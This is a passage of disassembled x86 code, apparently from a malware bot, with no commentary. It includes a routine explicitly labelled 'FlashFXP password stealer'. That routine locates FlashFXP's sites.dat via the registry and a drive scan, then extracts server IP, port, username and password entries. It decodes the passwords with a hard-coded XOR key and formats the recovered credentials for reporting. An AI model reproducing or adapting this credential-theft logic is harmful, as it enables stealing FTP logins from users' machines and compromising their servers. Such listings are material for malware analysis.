		fild	[ebp+var_2DC]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D158
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D1F0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	dword_417008
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	dword_41700C
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	dword_417028
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	dword_417104
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4170CC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------


loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D3C0
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D3B8 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D38C ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D320
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D2E4
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DF60
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D650
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D61C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D618 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


